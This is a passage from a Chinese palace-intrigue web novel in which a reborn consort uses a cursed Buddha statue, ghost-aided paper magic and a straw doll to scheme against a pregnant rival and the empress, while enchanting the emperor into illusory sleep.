如众人所料,温招及笄那年顺利入宫,一入宫便被封了妃,这是千古年来不曾有的荣华富贵,难免惹的人眼红,上一世皇后嫉恨,其他嫔妃自然也没盼着温招能好过。 在温招入宫前夕,入宫许久都不曾怀有一儿半女的梁贞娴,在宫内顶着一个婕妤的名号已摸爬滚打多年,上一世,此人也没少给温招使绊子,如今,梁贞娴不知用什么办法,怀上了龙嗣,春风得意,温招自然是先拿她给刀开开刃。 温招与柳含烟在西市低调穿梭,西市的街坊们热闹无比,张罗着,喧嚣着。突然,温招停住了脚步。 “金身轩……温姑娘可是要买佛像?”柳含烟试探的问了一句。温招没应声,台步便迈了进去。 金身轩门槛略高,温招裙裾拂过被磨得温润的木槛,一股陈旧檀香、铜锈与尘灰的气息扑面而来。铺子不大,光线昏暗,仅几缕昏黄天光从高窗斜射而入,照亮空中微尘。两侧货架上,密密麻麻陈列着金、铜、木、石各式佛像,大小不一。 柳含烟下意识地紧了紧衣领,这铺子里的静,与外头的喧嚣隔了厚厚一堵墙,静得能听见温招的呼吸声,也静得让人心头无端发沉。 温招的目光并未在那些熠熠生辉的金佛上多做停留,她的视线像带着钩子,精准地投向店铺最深处、光线最晦暗的角落。 那身着绸缎的女子正打量着温招。她约莫三十许人,面容算不得绝色。那人便应当是这金身轩的老板娘了。 老板娘见温招径直走来,也不起身,只懒懒倚在柜台后一张铺着暗红绒布的酸枝木椅上,手里捻着一串乌木佛珠,珠子碰撞发出沉闷的、几乎听不见的“咔哒”声。 “贵客临门,蓬荜生辉。”老板娘开口,声音不高,带着点砂砾般的哑,却异常清晰,在这死寂的铺子里像投入静潭的石子,“看姑娘通身气派,不似寻常香客。是要请一尊金身的菩萨回去镇宅,还是……”她顿了顿,那深潭般的眸子锁住温招,唇边勾起一抹若有似无、意味深长的笑,“……寻些旁的,更‘合心意’的物件儿?” 温招在她面前站定。昏暗的光线勾勒着她年轻却过分沉静的侧脸,那双曾被盛赞为盛满春水的眼眸,此刻却幽深得像两口不见底的古井,映着老板娘模糊的影子,也映着满室冰冷的金身佛像。 “子祭佛,可有?” 温招的声音不高,甚至算得上轻柔,像一片羽毛落在积满灰尘的古琴弦上。然而,这简简单单的三个字,却让金身轩内本就凝滞的空气骤然冻结。 柜台后,老板娘捻动乌木佛珠的手指猛地一顿。那沉闷的“咔哒”声消失了。她慵懒倚靠的姿态没变,但那双深潭般的眸子,瞳孔却不易察觉地缩紧。 一旁的柳含烟心头一跳,她虽不知“子祭佛”是何物,但光听这名字,就透着一股子令人头皮发麻的邪气。 “祭”,祭奠?祭祀?用“子”来祭?她只觉得后背的寒意顺着脊椎一路爬上头顶,连呼吸都屏住了,惊恐地看向温招沉静的侧脸。 老板娘沉默数息。那寂静被无限拉长,唯有高窗透入的微尘在光柱中无声翻滚,如无数窥探的小眼。铺内满堂金佛在幽暗中静默,慈悲面容模糊,反透出诡异的冷漠,似在俯瞰即将上演的亵渎。 终于,老板娘唇角那抹若有似无的笑意彻底消失了。她缓缓坐直了身体,丝绸衣裳摩擦发出细微的窸窣声,在这死寂中格外清晰。她那双漆黑的眼,如同两口深不见底的寒潭,牢牢锁住温招,声音压得更低,带着一种洞穿一切的沙哑: “‘子祭佛’……姑娘好大的口气,也好大的……胆子。”她一字一顿,每个字都像淬了冰,“这东西,可不是寻常富贵人家消受得起的。它供的不是香火,是……怨念。沾的也不是福气,是……孽债。” 温招突然嘴角勾起一抹笑。 那笑容很淡,像初冬湖面上凝结的一层薄冰,看似剔透易碎,内里却浸着彻骨的寒。她幽深的眼眸里没有半分笑意,只有一片沉静的、近乎虚无的漆黑,仿佛方才老板娘口中那骇人的“怨念”与“孽债”,不过是拂过她耳畔的一缕无关紧要的风。 “消受得起与否,”她的声音依旧轻柔,却带着一种奇异的穿透力,清晰地敲打在老板娘紧绷的心弦上,“是我的事。”她的目光扫过老板娘骤然捏紧佛珠的手,那乌木珠子在她指缝间绷得死紧,“你只需说,有,还是没有?” 老板娘深潭般的眸子死死盯着温招年轻得过分的脸,试图从那张毫无波澜的面容上找出一丝恐惧、一丝犹豫,或者哪怕是一丝好奇的痕迹。没有。什么都没有。只有一片深不见底的平静,平静得令人心头发怵。这平静比任何歇斯底里的疯狂都更让她感到一种源自骨髓的寒意。这姑娘……不是在虚张声势。她是真的知道自己在索要什么,也真的……不在乎。 沉默再次笼罩了这间堆满冰冷金身的铺子。高窗投下的光柱里,尘埃翻滚得更急,像无数惊慌失措的灵魂。 “……有。”老板娘终于吐出一个字,声音干涩。她不再看温招,而是缓缓起身,绕过柜台,走向那个摆放着陶罐、焦木、怪石和黑色人偶的乌木架子。她的背影在昏暗中显得有些佝偻,绸缎的光泽也黯淡下去。 她伸出保养得宜却带着薄茧的手,没有去碰触那些古怪的物件,而是在乌木架子侧面的一个极其隐蔽的凹陷处,用指尖以一种奇特的韵律叩击了几下。 “咔嗒…咔…嗒嗒…” 细微的机括声响起,如同沉睡的凶兽在黑暗中磨牙。乌木架子靠墙的部分,竟无声地向内滑开一小块,露出一个仅容一物进出的暗格。一股更加阴冷、带着陈腐血腥气和某种难以形容的甜腻腥香的气息,瞬间从那暗格中弥漫开来,迅速压过了铺子里原有的檀香铜锈味,浓烈得令人作呕。 柳含烟脸色煞白,感觉胃里一阵翻江倒海,看向那暗格的眼神充满了纯粹的恐惧。 老板娘的手伸进暗格,动作异常缓慢而谨慎。当她收回手时,掌中托着一物。 那东西不大,约莫半尺高,通体是一种沉暗污浊的深褐色,非金非木非石,倒像是某种凝固的、污秽的血块勉强塑成的形态。隐约能看出是个盘坐的佛像轮廓,但面目狰狞扭曲,绝非慈悲之相。最令人毛骨悚然的是,在那佛像污浊的怀抱中,竟“嵌”着一个蜷缩的、同样材质不明的“胎儿”形象,胎儿的形态模糊不清,却透着一股死寂的怨毒。 老板娘将乌木龛放在铺着暗红绒布的柜台上,那红绒布衬着漆黑的龛,红得刺眼,如同凝固的血。 “东西在这儿。”老板娘的声音更哑了,仿佛喉咙里堵着砂砾,“规矩,姑娘想必懂?” 温招的目光落在乌木龛上,那眼神平静无波,像是在看一件寻常器物。她伸出手,指尖并未直接触碰龛身,而是从袖中取出一方素净的丝帕,隔着帕子,将那冰冷的乌木龛轻轻拿起,托在掌心。那动作甚至带着一丝……奇异的庄重。 “自然。”温招颔首。她从怀中取出一个沉甸甸的锦袋,看也未看,便轻轻搁在柜台上,压在那片暗红绒布上。锦袋口微张,露出里面白花花的碎银,分量显然远超寻常佛像的价格。 她做完这一切,抬眸看向老板娘,脸上那层薄冰似的笑容似乎真切了一分,却更显疏离。 “多谢。”温招的声音依旧轻柔有礼,如同世家贵女在向店家道谢一件普通首饰。她微微颔首,仪态无可挑剔,仿佛刚刚完成的并非一场关乎怨念与孽债的禁忌交易,而只是买了一朵珠花。 这过分得体的“谢”字,如同淬了毒的针,无声无息地刺入老板娘紧绷的神经。她看着温招那双古井无波的眼睛,看着那恰到好处却毫无暖意的笑容,只觉得一股寒气从脚底直窜上头顶。这姑娘……太邪性了! 温招不再多言,托着那方包裹着邪龛的丝帕,转身便走。柳含烟早已吓得‘魂不附体’,脸色惨白如纸,见温招转身,慌忙飘过去着跟上,连大气都不敢喘,只觉得那小小的乌木龛散发着无形的寒气,几乎要将周围的一切都吞噬。 裙裾再次拂过那温润的木门槛,从铺内极致的死寂一步踏入西市喧嚣的声浪之中。阳光刺眼,人声鼎沸,车水马龙,食物的香气、汗水的味道、各种叫卖声混杂着扑面而来,充满了鲜活的人间烟火气。 温招突然看向柳含烟,笑着调侃道:“可是怕了?”不等柳含烟回应,温招便收回了视线:“你如今是魂,不必惧怕此物。” 温招不再言语,托着那方不祥的“礼物”和老张记的糕点、包裹,与柳含烟一同回到那看似华美、实则森冷的寝宫。阳光透过高窗的茜纱,在地上投下斑驳的。 魑惊看着自家娘娘带回这么一大堆东西,尤其是那个被素帕包裹、散发着无形寒意的物件,只觉得脑袋嗡嗡作响,心底莫名发怵。但她什么也没问,只是手脚麻利地接过,仔细的整理着温招带回的物品。 温招的目光落在老张头给的那些糕点上。圆润的豆沙酥,雪白的糯米糕,点缀着红绿果脯的云片糕……都是些最寻常不过的市井点心。她伸出手指,指尖轻轻拂过一块糯米糕的边缘,触感温软微凉。 在李婆那纷杂破碎的记忆深处,有什么东西被轻轻拨动了。一个同样布满皱纹、却带着憨厚笑容的老张头的脸模糊地浮现出来。他也曾小心翼翼地捧着这样一包糕点,穿过热闹的街巷,递到李婆粗糙的手中。记忆里的声音遥远而温暖:“喏,东市西北角那家的,你爱吃的……甜,软和……” 李婆那时似乎抱怨了什么,可那抱怨里,分明裹着化不开的甜意和满足。 很甜……很软…… 这两个简单的词,带着一种几乎被遗忘的暖意,猝不及防地撞进温招冰冷的心湖,漾开一圈微弱却清晰的涟漪。她垂着眼眸,长长的睫毛在眼下投下一小片扇形的阴影,遮住了眼底翻涌的复杂情绪。 “魑惊,”温招的声音打破了这短暂的静默,却异常轻柔,仿佛 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温招拿起这纸做的拨浪鼓,指尖轻轻捏着它的手柄。她没有摇动它,只是静静地看着这粗糙的、毫无生气的玩具。烛光在她眼中跳跃,映得那双深潭般的眸子似乎也染上了一丝暖意,但那暖意深处,是更浓重的、化不开的孤寂和惘然。 她微微倾身,将纸拨浪鼓小心翼翼地凑近桌角那盏烛台。 跳跃的、橘黄色的火苗,像一只好奇又温柔的精灵,轻轻舔舐上纸拨浪鼓的边缘。 一点小小的、明亮的火星瞬间亮起,沿着粗糙的纸边迅速蔓延开来。火焰无声地吞噬着薄脆的纸片,发出极其细微的“嗤嗤”声。 那跳跃的火光,映着她沉静的侧脸,在墙壁上投下一个放大的、摇曳的影子。光影在她脸上流动,一半明亮,一半沉浸在更深的阴影里。她只是静静地看着,看着那火焰温柔又无情地吞噬着这短暂存在的小玩意儿。 火焰蔓延得很快,那小小的纸拨浪鼓在火光中迅速蜷曲、焦黑,最后化为一小捧轻盈的、带着火星余烬的灰烬,如同冬日里最后一片枯叶,无声地飘落在冰冷的铜盆底部。盆底映着一点残留的橘红,随即迅速黯淡下去,只剩下一小片形状模糊的黑色印记,和几缕极淡的青烟,袅袅升起,在寂静的寝殿空气中盘旋片刻,便消散得无影无踪。 空气里弥漫开纸张燃烧后特有的、微苦又带着一丝暖意的焦糊气息。 铜盆里的灰烬尚带着余温,那点微苦的焦糊气在沉水香的清冷里顽固地盘旋,如同一个不甘消散的旧梦。 下一瞬,那纸做的、刚刚在火焰中化为灰烬的拨浪鼓,竟毫无征兆地出现在了柳含烟的手中。 柳含烟整个人都僵住了。 她先是茫然地低头,看着自己半透明、带着莹莹青白光泽的手掌,此刻正真实地握着一样东西。那触感分明就是真实的拨浪鼓。 她之前只是听一个年老孤魂说的,说只要找到通灵之人,便可放下执念,转世投胎。可柳含烟只想要一个拨浪鼓,她也不知道为什么,好在她遇到了温招。 她小心翼翼地、近乎虔诚地用另一只虚化的手,轻轻碰了碰那纸做的鼓面。指尖传来微弱的、真实的触感,粗糙又坚韧。然后,她尝试着,极其缓慢地,摇动了手柄。 “咚…嗒…咚…嗒…” 轻微而清晰的鼓点声,在死寂的寝殿里突兀地响起。那声音并不清脆,带着纸张特有的闷响,却像投入古井的石子,敲碎了满室凝结的冰冷空气。 魑惊猛地抬头,惊疑不定地看着周围,是她幻听了吗……怎么会有拨浪鼓的声音…… “魑惊,”温招的声音恢复了惯常的沉静,听不出情绪,“去梁婕妤的碧梧苑探探。她都何时去佛堂,本宫也应当送她一份贺礼。 魑惊立刻回神,压下心头的惊悸与疑惑,垂首应道:“是,娘娘。奴婢这就去。” “仔细些,”温招补充道,指尖无意识地摩挲着袖口繁复的缠枝莲纹绣,“她何时去佛堂,在佛堂待多久,礼佛时身边跟着什么人……桩桩件件,本宫都要知道得清清楚楚。” 她的语气平平淡淡,如同在吩咐一件再寻常不过的小事。然而,那平淡之下透出的森冷意味,却让魑惊不由自主地打了个寒噤,仿佛有看不见的冰棱贴着皮肤划过。 “奴婢明白。”魑惊不敢多问,躬身行礼,脚步极轻地退了出去,却担忧的看了温招一眼。 寝殿内只剩下温招与柳含烟。 温招的目光终于从虚空转向柳含烟手中的拨浪鼓。柳含烟下意识地将那纸玩具往怀里藏了藏,动作带着一种孩子气的保护意味。 “可还喜欢?”温招开口,声音听不出喜怒。 柳含烟用力点头,魂体因为激动泛起更明显的青白微光:“喜欢,多谢温姑娘……” “喜欢就好。”温招开口:“只是,你要这孩童之物有何用?”语气带着几分探究的意味。 柳含烟垂眸,她已经在这深宫待了太久了,没日没夜的飘荡在金碧辉煌的宫殿之间,孤魂们有的变成冤魂,有的变成厉鬼,有的变成恶灵,有的有进入轮回…… 而只有她,好似被世间抛弃,她已经忘记了她在等何人或是何物,她只记得自己想要一个拨浪鼓,记得那年迈孤魂的话,要找到通灵之人…… 5. 005 温招见她不愿多说,识趣的移开了视线。突然又问道:“你可能将我买的这些东西隐匿起来?”柳含烟闻言,点了点头。“只要烧过来便好,你用的时候我再递给你。” 温招点了点头,将那些土火纸和往生钱一股脑的丢进铜盆,一批一批的烧了个干净,回眸一看,那些土火纸和往生钱便化作了实物出现在柳含烟的身边,只不过,旁人是看不见的。 恰好这是,魑惊回来了,魑惊望着空空如也的包裹,一时间愣了一下,随后在温招桌前微微俯身。 “禀娘娘,梁婕妤再过一个时辰便会去佛堂礼佛,往日都是辰时去的,今日听闻皇后去了一趟后,梁婕妤便大发雷霆,差点将皇上赐的琉璃盏打翻便耽误了去礼佛。” 温招一手撑着脸,一手漫不经心的摩挲着土火纸,思考片刻突然问道:“这宫中,可有人姓阮?” 魑惊愣了愣,思考了一下。“回娘娘,宫中并无姓阮的嫔妃。” 温招挑了挑眉:“本宫问的是男子,宫中可有姓阮的男子?”魑惊有些疑惑,却还是老老实实的回答:“嗯…奴婢并未听过哪位公公姓阮…” 闻言,温招点了点头,也没难为魑惊,只是有拾起两张土火纸,打开了那装有子祭佛的盒子,将子祭佛端了出来。 乌木龛完全暴露在寝殿摇曳的烛光下。 那深褐污浊的材质在烛火映照下,非但没有变得温暖,反而更显出一种沉滞、油腻的邪异光泽。盘坐的佛像轮廓扭曲得更加狰狞,怀抱中蜷缩的“胎儿”形象也越发清晰,透着一股令人作呕的死寂怨毒。一股若有似无的、混杂着陈腐血腥与甜腻腥香的气息,瞬间弥漫开来,压过了殿内沉水香的清冷,也盖过了纸张燃烧后残留的微苦焦糊味。 魑惊只觉得后颈的寒毛瞬间倒竖,一股源自本能的恐惧攫住了她,让她不由自主地后退了半步,脸色微微发白。她虽不知那是什么,但那东西散发出的气息,让她感觉像是被无数双冰冷的、充满恶意的眼睛盯住了。 柳含烟更是魂体剧颤,下意识地抱紧了怀中的纸拨浪鼓,仿佛那是唯一能抵御这无形寒气的屏障。那乌木龛中的邪佛,让她再次清晰地回忆起金身轩里那令人窒息的恐惧。 温招却像是完全不受影响。她甚至微微俯身,凑近了那乌木龛,幽深如古井的眼眸一瞬不瞬地凝视着那污秽的佛像,仿佛在欣赏一件稀世珍宝。她的指尖,轻轻拂过龛身冰冷的木纹,动作轻柔得近乎……爱抚。 然后,她拿起了刚刚折好的两张土火纸。 这一次,她的动作不再有方才折拨浪鼓时的专注与温柔,取而代之的是一种冰冷而高效的精准。她没有再折任何具象的形状,只是将那几张粗糙的纸,以一种奇特的方式折叠、捻压,紧紧贴在子祭佛的上面。 随后温招将胭脂盒打开,蘸取胭脂,她指尖最后一点胭脂落下,那两点猩红在粗糙的土火纸上晕开,如同两颗凝固的血珠,牢牢嵌在子祭佛扭曲的面孔上。 “灵竹为骨,素纸化形,朱砂点目,魂驻奈河。奉敕往生,随烟通冥,塑!” 咒语落下的瞬间,寝殿内的烛火猛地向下一压,光线骤然昏暗,仿佛被无形的重物压弯了腰。一股阴寒彻骨的旋风平地而起,打着旋儿卷起地上的纸灰,带着焦糊与甜腥的腐朽气息,直扑人面。 魑惊“啊”地一声低呼,踉跄后退,后背重重撞在冰冷的雕花柱子上,寒意顺着脊椎直窜头顶。她眼睁睁看着那两张贴在子祭佛上的土火纸,如同被赋予了某种蠕动的生命,边缘簌簌抖动起来。纸面在烛光下诡异地起伏、收缩,发出细微的、令人牙酸的摩擦声,仿佛有东西在纸下挣扎着要破茧而出。 不过瞬息,两张粗糙的纸片竟已扭曲、塑形,竟变成了多子多福观音像! 咒语余音仿佛还在冰冷的空气中震颤,那层由粗糙土火纸塑成的多子多福观音外壳已牢牢嵌合在子祭佛之上。邪异的子祭佛被彻底包裹其中,只留下一个慈眉善目的轮廓,饱满的圆脸,低垂的眼睑,怀中抱着一个形态模糊、却象征丰饶的“婴孩”。 烛火猛地向上窜起,恢复了光亮,但殿内的气息却更加凝滞、浑浊。那股甜腻腐朽的腥气并未散去,反而被强行压抑在观音祥和的外表之下,如同毒蛇盘踞在花丛深处,更添几分令人毛骨悚然的违和。 这尊观音静静地立在温招面前的桌案上,通体是金黄、泛着祥瑞慈怜的金光,唯有双目处两点胭脂点出的红,在烛光下幽幽闪烁,不似悲悯,倒像两滴凝固在慈祥面具上的血泪。它的“慈祥”是僵硬的、空洞的,透着一股纸扎人偶特有的死气。那怀抱“婴孩”的姿态,非但不显祥和,反而有种说不出的诡异。那不是赐福,而是某种诅咒。 温招幽深的眼眸细细打量着这尊“杰作”,唇角勾起一丝极淡、极冷的弧度。这笑容里没有半分满意,只有一种近乎残酷的审视。 随后她看向魑惊:“可是怕了?”她的声音不高,甚至带着一丝慵懒,却像冰棱滑过琉璃,清晰无比地刺破了殿内凝滞的、混杂着甜腥与纸灰的浊气。 魑惊猛地一颤,像是被那声音惊醒了魂魄。她抬起头,脸色惨白得如同案上未用的宣纸,嘴唇哆嗦着,想点头,又想摇头。最终,她用力咽了口根本不存在的唾沫,喉咙里发出干涩的摩擦声。她看着温招——烛光下,娘娘的面容一半在明处,精致得如同画中仙,另一半则隐在暗影里,幽深难测。那袭华贵的宫装下,仿佛藏着比那金身观音更令人心悸的东西。然而,这念头非但没有让她退缩,反而奇异地滋生出一种近乎狂热的归属感。 她用力地、先是点了一下头,承认了那源自本能的、对邪物的恐惧。随即,她又更用力地摇头,摇散了鬓边几缕汗湿的碎发,眼神里透出一种近乎偏执的坚定,声音嘶哑却异常清晰:“奴婢……奴婢怕那东西!但奴婢不怕娘娘!”她顿了顿,像是用尽了全身的力气,一字一句地强调,“娘娘是奴婢的主子,是奴婢在这世上……唯一的主子!是人是鬼,奴婢都跟定了!” 这话说得有些逾矩,甚至带着点疯劲,却无比赤诚。在这阴森诡谲的寝殿里,一个活生生的宫女对着一个手段邪异的娘娘表忠心,场面荒诞又带着一种扭曲的悲壮。 温招静静地看着她,那双古井般的眼眸里没有任何波澜,既无感动,也无嘲弄。半晌,她忽然低低地笑了一声。那笑声很轻,像是从胸腔深处漫出来,带着一丝难以言喻的、冰冷的兴味。 “好。”温招只说了这一个字。可她自然信她。 随即温招又把目光放在了这尊金光泛泛的观音像上,挑了挑眉,不禁笑了笑开口:“柳姑娘,麻烦你把此物送到佛堂。” 柳含烟担忧的看着温招,任谁也能看出温招这是在给梁婕妤下套,虽不知温招与那梁婕妤有何仇怨,但她心里还是偏袒着温招,温招并非那心肠歹毒之人,定是此人心肠恶毒招惹了温招。 随即她点了点头,这可给魑惊吓得够呛,这寝宫外除了她们主仆两人,哪还有旁人啊?柳姑娘又是谁? 温招看着魑惊不禁有些好笑,故意逗她:“魑惊怕不怕鬼?” “娘……娘娘?”魑惊的声音抖得不成样子,几乎要哭出来,“您……您在跟谁说话?柳……柳姑娘是……”她不敢再问下去,只觉得这寝殿里的每一丝空气都变得粘稠而危险,仿佛有无数看不见的眼睛在暗处窥伺。 但是她立马鼓起勇气:“娘娘…那人可会伤害您?” 温招的笑容僵在了脸上,她知道魑惊一心护她,可若是常人,只怕是要吓到精神失常。可,魑惊下意识的只关心她会不会受到伤害。温招低估了她对自己的忠心。 温招收起了那狡黠的笑,平静的目光里只剩柔和:“不会,她也不会伤害魑惊,她是个好姑娘。”魑惊闻言,还是有些恐惧,却还是点了点头。 柳含烟有些内疚的低了低头,将佛像端起,随即打算前往佛堂。 “柳姑娘不必自责,魑惊无事,只管去做便好。”温招神色淡淡的望向她,却安抚了她一句。 随后温招收回视线,现在万事俱备,只差梁婕妤到佛堂了。 不料此时,一位不速之客却到了此处。 “咚咚咚”三声轻叩,不疾不徐,带着一种不容置喙的节奏感敲在门扉上,也敲在魑惊紧绷的心弦上。 她下意识地看向温招,只见娘娘方才眼中那丝因魑惊赤诚而流露的柔和已消失殆尽,幽深的眸子如同瞬间冻结的古潭,只剩下冰冷锐利的审视。她甚至没有示意,魑惊已凭着本能疾步上前,拉开了沉重的殿门。 门开处,一道高大挺拔的身影几乎堵住了整个门框。 来人并未着繁复的龙袍,只一身玄色暗绣云龙纹的常服,腰间束着同色玉带,更显得身形劲瘦如松。 夜风裹挟着深秋的寒露涌入,吹动他垂落肩头的几缕墨发,也拂过他轮廓分明的下颌。他脸上没什么表情,薄唇微抿,唯有一双眼睛,深邃得如同不见底的寒渊,目光扫过殿内,带着一种无形的、仿佛能穿透皮囊直视灵魂的重量。 此人正是温招前世的爱人,皇帝常青。 魑惊只觉得膝盖一软,“噗通”一声就跪了下去,额头重重磕在冰凉的金砖地面上,连请安的声音都卡在了喉咙里,只剩下因极度恐惧而急促的喘息。她甚至能感觉到自己后背的衣衫瞬间被冷汗浸透,紧贴着皮肤,带来一阵阵冰寒的颤栗。方才面对邪佛和鬼魂的恐惧,在帝王此刻纯粹的、不怒自威的威压面前,竟显得渺小而微不足道。 常青的目光甚至没有在匍匐在地的魑惊身上停留片刻,仿佛她只是一件微不足道的摆设。“你先出去。”他的视线径直越过她,魑惊不安的看了温招一眼,随后退了出去。 他的目光落在了殿内深处,端坐于桌案后的温招身上。 温招已然起身。 她并未像魑惊那般惊慌失措,姿态依旧从容,甚至带着一丝被惊扰后的慵懒倦意。她微微屈膝,行了一个无可挑剔的宫礼,声音清泠如碎玉落盘,在这死寂的殿中格外清晰:“臣妾不知陛下深夜驾临,有失远迎,望陛下恕罪。” 她低垂着眼睑,长长的睫毛在烛光下投下一小片阴影,遮住了眸底所有的情绪波动。 温招低垂着眼睑,维持着屈膝行礼的姿态,脊背挺直如寒竹。 殿内死寂,只剩下烛火偶尔爆出的细微噼啪声,以及皇帝常青沉稳而压迫的脚步声,一步步踏碎凝固的空气,最终停在她面前。 一股极淡的、属于御用龙涎香混合着夜露寒气的冷冽气息,不容抗拒地笼罩下来,取代了殿内残留的纸灰焦糊与沉水香。 这气息是如此熟悉,熟悉到瞬间刺穿了温招精心构筑的所有心防,像一把冰冷的钥匙,“咔哒”一声打开了尘封在灵魂最深处的、血淋淋的囚笼。 冷宫。 那彻骨的阴寒,霉烂的气息,无休止的绝望。 上一世,她的夫君知晓她是被冤枉的,可他忌惮世家的权利,他要借此搞垮温家,她温招正是最好的陪葬品。 被黑狗血浸泡过的绣花针,一阵一阵刺入她的指甲缝…… 烧得通红但未完全燃尽的细小炭块,强行塞入她的口腔深处,抵住咽喉…… 带有细小倒刺的铜针,反复刺扎、刮擦她的眼球,挖出她的两个眼球,用力扯断了里面的神经,被人活生生踩爆…… 一切的一切,只是因为嫔妃们的嫉妒和帝王的猜忌…… “良妃刚入宫,住的可还习惯?”常青的声音响起,不高,却带着一种沉甸甸的、不容置疑的分量,敲打在寂静的殿内,如同冰锥坠地。 这声音曾是她前世魂牵梦绕的甘泉,如今听来,却比子祭佛的邪气更让她遍体生寒。 温招缓缓抬起眼帘。 四目相对。 常青的瞳孔几不可查地微微一缩。眼前的女子,容颜依旧是他记忆中初见时的清艳绝伦,甚至因这身华服宫装更添 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他离得那样近,近得温招能清晰地嗅到他身上龙涎香下更深一层、属于他本人的、那种冷冽又极具侵略性的气息,这气息曾让她沉沦,如今却只让她感到恶心。 他的视线缓缓扫过她略显苍白的脸,最终落在她低垂交叠在身前的手上。那双手指节纤细,指甲修剪得圆润干净,在烛光下泛着柔和的珠光。常青的视线停驻了片刻。 “手怎么了?”他突然问,声音低沉,听不出情绪。 温招的心猛地一沉,几乎要跳出胸腔。他看见了?看见了刚才掐出的指甲印?还是……察觉到了什么?她面上纹丝不动,只将交叠的手微微收紧,指甲更深地陷入方才掐出的痕迹里,用更尖锐的疼痛强迫自己冷静。 “回陛下,”她声音依旧平稳,带着一丝恰到好处的羞赧,“许是……许是方才整理陛下赏赐的物件时,不慎被妆匣边缘划了一下,并无大碍。”她轻轻抬起一只手,指尖微蜷,露出指腹上一道极淡、几乎看不见的红痕,那是方才折纸时被粗糙土火纸边缘刮蹭的。 常青的目光在那道红痕上停留了一瞬。那痕迹太浅,太新,与她所说并不符合。但他并未深究,只淡淡道:“仔细些。” “是,臣妾谨记。”温招垂首应道,心中却警铃大作。他的敏锐,一如既往。哪怕重活一世,面对他,她依旧不能有丝毫松懈。 温招迎着他的目光,强迫自己绽开一个温顺柔婉、毫无破绽的笑容:“夜深了,陛下可是……要安置了?”她的声音放得极轻,带着一丝不易察觉的试探,如同在平静的湖面投下一颗微小的石子,等待着看那深不见底的水下,会激起怎样的暗流。 常青没有立刻回答。他深深地看了温招一眼,那目光仿佛要穿透她精心描画的皮囊,直刺入灵魂深处,审视着里面究竟是温顺的羔羊,还是……伺机而动的毒蛇。 良久,他薄唇微启,只吐出一个字,却带着千钧之力,重重砸在温招紧绷的心弦上:“好。” 温招松了口气,这么看来这位帝王,今日来只是来找她侍寝,别说侍寝,现在和眼前之人共处一室,温招都觉得晦气。 温招心头冷笑更甚,面上却愈发柔婉动人,仿佛一株不胜娇羞的菟丝花。她款款起身,素手轻抬,引着常青走向那雕花拔步床,流苏轻晃,烛光在她低垂的眼睫上跳跃,投下一片脆弱的阴影。 “陛下……”她声音低柔婉转,带着恰到好处的怯意,指尖却悄然探入宽大的袖中,触到那冰凉的胭脂盒。 盒盖无声滑开,指尖蘸取一点嫣红如血的胭脂,借着转身替常青宽衣的姿势,指尖快如闪电,带着一丝微不可查的灵力,精准地、无声无息地点在了常青后颈的穴位处。 那一点胭脂,触肤冰凉,瞬间渗入。常青只觉得后颈微微一麻,似被蚊虫叮咬,随即一股难以言喻的甜香混合着温招身上清冷的沉水香钻入鼻息。他幽深的眼眸瞬间蒙上了一层薄雾般的迷离。 画皮欢是万诡门的秘技,中招者会陷入幻境与清醒前见到的最后一人翻云覆雨。 在常青的视角里,两人凤鸾春恩,轿铃轻晃。泠泠声扬,如琼裂,如钿响。 此刻的温招靠在桌前,磕着瓜子看着常青一个人在床榻之上昏睡。 “魑惊,进来。” 温招的声音不高,甚至带着一丝慵懒,却像冰棱滑过琉璃,清晰无比地刺破了殿内凝滞的、混杂着甜腥与纸灰的浊气,也刺穿了门外魑惊紧绷欲裂的神经。 门扉被无声推开一条缝隙,魑惊几乎是贴着门缝挤了进来,又飞快地将门合拢,仿佛生怕多放进一丝夜风惊扰了什么。她不敢抬头,视线死死黏在自己绣鞋尖上,那上面沾着几点方才在门外蹭到的、尚未被风吹散的纸灰,灰扑扑的,像不祥的印记。 此刻的九五至尊正躺在软榻上呼呼大睡,是不是伴着一两声傻笑,再看着自家主子翘着二郎腿正磕着瓜子,一时间魑惊有些吃惊了。 温招从桌底抽出了两捆老张头帮忙绑包裹的稻草,左编右编,不一会便编成了一个稻草娃娃,温招从一旁的首饰盒里,翻出了一根银簪,直直的扎穿了娃娃的肚子。 魑惊看的一愣一愣的,不禁问道:“娘娘,此物可是巫蛊之物?” 温招无辜的抬起眼,摇了摇头:“并无巫蛊术,只是用来让床上那个呆子废后用的。” 魑惊下意识跪下,她没想到她的娘娘会这么胆大,但是温招既然说了,她定然是要去做的。 “去吧。”温招没多说,魑惊也明白,温招要把此物放在皇后的地盘上,今夜梁婕妤必定出事,皇帝却又在温招这里歇下,皇帝便是温招的人证。今日皇后与梁婕妤起了口舌,而明日从皇后那里搜出这稻草娃娃,皇后便是百口莫辩。好计谋…… 等魑惊离开,温招有磕起了瓜子。而另一旁的梁婕妤,可就没有这么好过了…… 6. 006 子时三刻,佛堂深处,木鱼声空空空空地响着,仿佛响在骨髓里。 值夜的老太监缩着脖子,提着灯笼循声摸去。经堂却空寂无人,只有无数佛像默默在烛火摇曳中投下幢幢怪影。他刚欲转身,身后所有烛火齐齐一矮,竟幽幽泛出惨绿光晕。光芒映照之下,所有佛像那庄严的金身漆皮剥落处,竟蜿蜒淌下深色黏稠的痕迹,如血泪纵横。 老太监惊魂欲逃,可颈后寒意陡生。他猛一回头,身后那些原本肃然垂目的佛像,此时竟齐刷刷扭过脖颈,泥塑石雕的森森头颅,全都朝向了他,无声凝望。 烛火依旧惨绿,木鱼声已杳然。唯有无数石胎泥塑的佛面,在凝固的死寂中无声扭转,将人囚于万古无解的注视里。那目光不是慈悲,是远比寒夜更深邃、更冷寂的幽闭,仿佛沉入一口无底的井,井壁皆是无言的佛目。 皇家佛堂的夜,竟比荒山野寺更彻骨。 在这幽闭的圣境里,神明一旦垂目,反照出的竟是人心自己深埋的魇影。 此刻的梁婕妤提着一盏宫灯,独自沿着悠长静谧的宫道独自前行,不多时,她便到了佛堂的门口。 平日守门的老太监此刻却不见了踪影,只余下两扇沉重的雕花木门虚掩着,门缝里透出丝丝缕缕阴寒彻骨的气息,夹杂着一种……铁锈般浓重的腥甜。 她心头莫名一紧,指尖冰凉。那空空洞洞的木鱼声早已消失,死寂沉甸甸地压在耳膜上,压得人喘不过气。一种不祥的预感,像冰冷的藤蔓缠绕上她的脚踝。她定了定神,深吸一口带着陈腐香灰与血腥混合的浊气,伸出微颤的手,轻轻推开了那扇门。 门扉洞开。 预想中的血腥地狱并未扑面而来。 